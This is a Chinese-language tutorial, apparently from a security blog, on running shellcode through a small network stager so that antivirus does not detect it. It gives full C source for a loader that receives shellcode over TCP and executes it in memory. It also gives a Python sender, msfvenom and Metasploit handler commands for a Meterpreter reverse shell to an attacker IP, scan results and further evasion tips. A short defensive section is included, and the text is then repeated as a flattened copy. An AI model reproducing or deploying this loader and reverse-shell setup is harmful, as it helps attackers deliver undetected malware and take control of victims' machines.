Shellcode另类使用方式
字数 2097 2025-08-25 22:58:47

Shellcode另类使用方式教学文档

0x00 概述

本文介绍一种通过"小马"方式执行Shellcode的技术,该方法可以有效绕过杀毒软件的检测。核心思想是将有害的Shellcode与无害的载体程序分离,通过网络传输动态执行,从而降低被检测的风险。

0x01 技术原理

1.1 类比Web渗透中的大小马

  • 在Web渗透中,当上传点限制文件大小时,会先上传小马,再通过小马上传功能更全的大马
  • 类似地,在二进制渗透中:
    • "小马":无害的Shellcode接收程序
    • "大马":实际的恶意Shellcode
    • 通过小马动态接收并执行大马,避免直接上传完整的恶意程序

1.2 技术优势

  • 分离执行:Shellcode不直接存在于磁盘文件中
  • 动态加载:通过网络传输实时获取Shellcode
  • 内存执行:避免写入磁盘被静态扫描
  • 灵活更换:可随时更换不同的Shellcode而不需重新编译

0x02 小马程序实现

2.1 小马程序源码分析

#include <stdio.h>
#include <winsock2.h>
#include <Windows.h>
#pragma comment (lib, "ws2_32")

typedef struct sockaddr_in sockaddr_in;

int sock_shellcode(char *shellcodes) {
    char *shellcode = shellcodes;
    DWORD why_must_this_variable;
    BOOL ret = VirtualProtect(shellcode, strlen(shellcode),
        PAGE_EXECUTE_READWRITE, &why_must_this_variable);
    if (!ret) {
        return 0;
    }
    ((void (*)(void))shellcode)();
    return 0;
}

int main() {
    Sleep(2000);
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    sockaddr_in sockaddr;
    sockaddr.sin_family = AF_INET;
    sockaddr.sin_port = htons(4444);
    sockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));
    
    while(TRUE) {
        char buffer[4096];
        recv(s, buffer, 4096, NULL);
        if (buffer == NULL) {
            continue;
        } else {
            sock_shellcode(buffer);
            printf("things end up");
            closesocket(s);
            WSACleanup();
            getchar();
            exit(0);
        }
    }
}

2.2 关键功能解析

  1. 网络连接部分

    • 创建Socket连接远程IP和端口(默认127.0.0.1:4444)
    • 使用TCP协议进行通信
  2. Shellcode接收与执行

    • 创建4096字节的缓冲区接收网络数据
    • 通过sock_shellcode函数执行接收到的Shellcode
    • 使用VirtualProtect修改内存属性为可执行
    • 通过函数指针直接执行Shellcode
  3. 内存保护

    • VirtualProtect将Shellcode所在内存区域设置为PAGE_EXECUTE_READWRITE
    • 确保Shellcode可以被正确执行

2.3 编译注意事项

  • 使用GCC编译器编译:gcc temp.c -o test.exe
  • 编译器选择对免杀效果有显著影响
  • 测试表明GCC编译的版本仅有5%杀毒软件报毒

0x03 Shellcode发送端实现

3.1 Python发送端代码

#-*- coding: utf-8 -*-
import os,sys
from socket import *

HOST = '0.0.0.0'
PORT = 4444
BUFSIZ = 2048
ADDR = (HOST, PORT)

sock = socket(AF_INET, SOCK_STREAM)
sock.bind(ADDR)
sock.listen(1)
STOP_CHAT = False

print "Hander Listening %s port:%s" %(HOST,PORT)

while not STOP_CHAT:
    tcpClientSock, addr = sock.accept()
    print('Start Listening %s port %s' % (addr,PORT))
    while True:
        p = raw_input("send:> ")
        if p == "send":
            data = "\x33\xc9\x64...\x03"  # 此处放置Shellcode
            try:
                tcpClientSock.send(data)
                if data.upper() == "QUIT":
                    STOP_CHAT = True
                    break
                os_result = tcpClientSock.recv(BUFSIZ)
            except:
                tcpClientSock.close()
                break
        if STOP_CHAT:
            break
        print(os_result)
    
    tcpClientSock.close()
sock.close()

3.2 发送端功能说明

  1. 监听4444端口等待小马连接
  2. 接收用户输入,当输入"send"时发送预设的Shellcode
  3. 支持交互式操作,可随时发送新的Shellcode
  4. 可扩展为批量发送或分片发送大体积Shellcode

0x04 实际应用示例

4.1 测试环境

  • 攻击机:Kali Linux (192.168.19.128)
  • 目标机:Windows 7 (127.0.0.1)

4.2 测试流程

  1. 生成Shellcode

    • 使用msfvenom生成MessageBox弹窗Shellcode
    • 或生成Meterpreter反向连接Shellcode
  2. 配置发送端

    • 将生成的Shellcode放入Python发送端的data变量
    • 修改IP和端口为目标机信息
  3. 执行小马程序

    • 在目标机运行编译好的test.exe
    • 程序会自动连接发送端
  4. 发送Shellcode

    • 在发送端输入"send"命令
    • Shellcode通过网络传输到目标机并执行
  5. 验证效果

    • 对于MessageBox Shellcode:观察是否弹出指定窗口
    • 对于Meterpreter Shellcode:检查Kali是否获得会话

4.3 Metasploit集成

  1. 使用msfvenom生成reverse_tcp Shellcode:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=4444 -f py
    
  2. 在Kali设置监听:
    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.19.128
    set LPORT 4444
    exploit
    
  3. 将生成的Shellcode放入发送端,执行后即可获得Meterpreter会话

0x05 免杀效果分析

5.1 杀毒软件检测结果

  • VirSCAN.org测试结果:39款杀毒引擎中仅2款报毒(5%)
  • 报毒引擎:
    • ClamAV: PUA.Win.Packer.MingwGcc-3
    • F-PROT: W32/Felix:CO:VC!Eldorado

5.2 提升免杀效果的建议

  1. 编译器选择

    • 测试表明不同编译器效果差异大
    • 某些编译器编译版本可完全免杀
  2. 代码混淆

    • 添加无害代码增加分析难度
    • 使用宏定义隐藏关键函数调用
  3. 通信加密

    • 对传输的Shellcode进行加密
    • 使用SSL/TLS加密通信通道
  4. 分片传输

    • 对大体积Shellcode分片发送
    • 在内存中重组执行

0x06 防御措施

6.1 检测方法

  1. 网络监控

    • 检测异常的外连行为
    • 监控可疑的端口连接
  2. 内存监控

    • 检测动态内存属性修改
    • 监控异常的可执行内存区域
  3. 行为分析

    • 检测程序接收网络数据后直接执行的行为
    • 分析VirtualProtect的异常使用

6.2 防护建议

  1. 启用高级内存保护机制(如DEP)
  2. 限制应用程序的网络连接能力
  3. 使用具备行为监控的终端防护软件
  4. 定期审计系统可疑进程

0x07 总结

本文介绍的技术通过分离Shellcode与载体程序,利用网络动态传输执行的方式,有效绕过了传统杀毒软件的静态检测。该方法的优势在于:

  1. 不依赖复杂的Shellcode混淆/加密技术
  2. 可随时更换不同功能的Shellcode
  3. 在目标系统不留存完整的恶意文件
  4. 实际测试中具有较高的免杀率

在实际渗透测试中,可以结合此技术与其它免杀手段,提高攻击成功率。同时,防御方也应加强对这类动态攻击的检测能力。

Shellcode另类使用方式教学文档 0x00 概述 本文介绍一种通过"小马"方式执行Shellcode的技术,该方法可以有效绕过杀毒软件的检测。核心思想是将有害的Shellcode与无害的载体程序分离,通过网络传输动态执行,从而降低被检测的风险。 0x01 技术原理 1.1 类比Web渗透中的大小马 在Web渗透中,当上传点限制文件大小时,会先上传小马,再通过小马上传功能更全的大马 类似地,在二进制渗透中: "小马":无害的Shellcode接收程序 "大马":实际的恶意Shellcode 通过小马动态接收并执行大马,避免直接上传完整的恶意程序 1.2 技术优势 分离执行:Shellcode不直接存在于磁盘文件中 动态加载:通过网络传输实时获取Shellcode 内存执行:避免写入磁盘被静态扫描 灵活更换:可随时更换不同的Shellcode而不需重新编译 0x02 小马程序实现 2.1 小马程序源码分析 2.2 关键功能解析 网络连接部分 : 创建Socket连接远程IP和端口(默认127.0.0.1:4444) 使用TCP协议进行通信 Shellcode接收与执行 : 创建4096字节的缓冲区接收网络数据 通过 sock_shellcode 函数执行接收到的Shellcode 使用 VirtualProtect 修改内存属性为可执行 通过函数指针直接执行Shellcode 内存保护 : VirtualProtect 将Shellcode所在内存区域设置为 PAGE_EXECUTE_READWRITE 确保Shellcode可以被正确执行 2.3 编译注意事项 使用GCC编译器编译: gcc temp.c -o test.exe 编译器选择对免杀效果有显著影响 测试表明GCC编译的版本仅有5%杀毒软件报毒 0x03 Shellcode发送端实现 3.1 Python发送端代码 3.2 发送端功能说明 监听4444端口等待小马连接 接收用户输入,当输入"send"时发送预设的Shellcode 支持交互式操作,可随时发送新的Shellcode 可扩展为批量发送或分片发送大体积Shellcode 0x04 实际应用示例 4.1 测试环境 攻击机:Kali Linux (192.168.19.128) 目标机:Windows 7 (127.0.0.1) 4.2 测试流程 生成Shellcode : 使用msfvenom生成MessageBox弹窗Shellcode 或生成Meterpreter反向连接Shellcode 配置发送端 : 将生成的Shellcode放入Python发送端的data变量 修改IP和端口为目标机信息 执行小马程序 : 在目标机运行编译好的test.exe 程序会自动连接发送端 发送Shellcode : 在发送端输入"send"命令 Shellcode通过网络传输到目标机并执行 验证效果 : 对于MessageBox Shellcode:观察是否弹出指定窗口 对于Meterpreter Shellcode:检查Kali是否获得会话 4.3 Metasploit集成 使用 msfvenom 生成reverse_ tcp Shellcode: 在Kali设置监听: 将生成的Shellcode放入发送端,执行后即可获得Meterpreter会话 0x05 免杀效果分析 5.1 杀毒软件检测结果 VirSCAN.org测试结果:39款杀毒引擎中仅2款报毒(5%) 报毒引擎: ClamAV: PUA.Win.Packer.MingwGcc-3 F-PROT: W32/Felix:CO:VC !Eldorado 5.2 提升免杀效果的建议 编译器选择 : 测试表明不同编译器效果差异大 某些编译器编译版本可完全免杀 代码混淆 : 添加无害代码增加分析难度 使用宏定义隐藏关键函数调用 通信加密 : 对传输的Shellcode进行加密 使用SSL/TLS加密通信通道 分片传输 : 对大体积Shellcode分片发送 在内存中重组执行 0x06 防御措施 6.1 检测方法 网络监控 : 检测异常的外连行为 监控可疑的端口连接 内存监控 : 检测动态内存属性修改 监控异常的可执行内存区域 行为分析 : 检测程序接收网络数据后直接执行的行为 分析VirtualProtect的异常使用 6.2 防护建议 启用高级内存保护机制(如DEP) 限制应用程序的网络连接能力 使用具备行为监控的终端防护软件 定期审计系统可疑进程 0x07 总结 本文介绍的技术通过分离Shellcode与载体程序,利用网络动态传输执行的方式,有效绕过了传统杀毒软件的静态检测。该方法的优势在于: 不依赖复杂的Shellcode混淆/加密技术 可随时更换不同功能的Shellcode 在目标系统不留存完整的恶意文件 实际测试中具有较高的免杀率 在实际渗透测试中,可以结合此技术与其它免杀手段,提高攻击成功率。同时,防御方也应加强对这类动态攻击的检测能力。